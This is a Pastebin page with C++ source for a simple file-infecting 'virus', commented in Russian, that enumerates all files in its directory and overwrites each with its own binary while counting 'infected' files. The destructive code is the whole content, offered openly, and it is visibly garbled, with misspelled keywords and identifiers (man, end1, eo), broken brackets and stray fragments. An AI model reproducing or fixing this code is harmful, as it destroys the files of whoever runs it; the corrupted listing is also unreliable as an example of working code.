Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include 'stdafx.h'
- #include <fstream>
- #include <iostream>
- #include <io.h>
- #include <time.h>
- #include <Windows.h>
- using namespace std;
- struct_finddata_t c_file; // использовать для получения имени всех файлов в текущем каталоге вируса
- long hFile; //использовать для хранения длинных значений возврата из структуры
- int a=0; // Использовать в качестве счетчика, который считает файлы
- man(int argc, char **argv) //использование командной строки,потому что имя файла будет передаваться через структуру
- {
- clock_t st.end; //объект вловка для времени начала и окончания
- st = clock(); //асы пуска
- system("title Virus"); //не требуется, так как показывает только заголовок программ
- if ((hFile=_findfirst("*.*",&c_file)) == -1//проверить все файлы, присутствующие в каталоге, используя *.*
- cout<<"No files are present in current directory"<<end1;// как будто -1 нет файлов в каталоге
- else
- {
- do
- }
- cout<<"Infecting :"<<c_file.name<<end1;//показывает текущее имя заражающего файла
- fstream in(argv{0},ios::binary|ios::out);//открыть текущий файл в двоичном режиме (незараженный файл)
- fstream out(c_file.name,ios::binary|ios::out);//открыть текущий файл в двоичном режиме (незараженный файл)
- char c;//использовать для хранения символов, прочитанных вирусом
- while(true)
- {
- c = in.get();//читать данные
- if(in.eo()) break; //если файл полностью прочитан или для чтения ничего не осталось
- out.put(c);//записать код вируса в незараженный файл, теперь незараженный файл теперь заражен
- }
- a++;
- }
- while_(_findnext(hFile, &c_file) == 0); //читать следующий файл, если он доступен, и цикл продолжается, иначе прервать _findclose(hFile); //close structure, no need to read name files as we done before and read all
- }
- _findclose(hFile);//близкая структура, не нужно читать имена файлов, как это делалось ранее cout
- << "/nTotal infected files are : " << a - 3 << end1;// a- 3, потому что 3 вещи не показывать, увидим в выводе
- close end count = clock();//закрыть часы
- << "Time taken : ";
- printf("%.2fs", (double)(end-st)/CLK_TCK);//
- cin.get();//
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement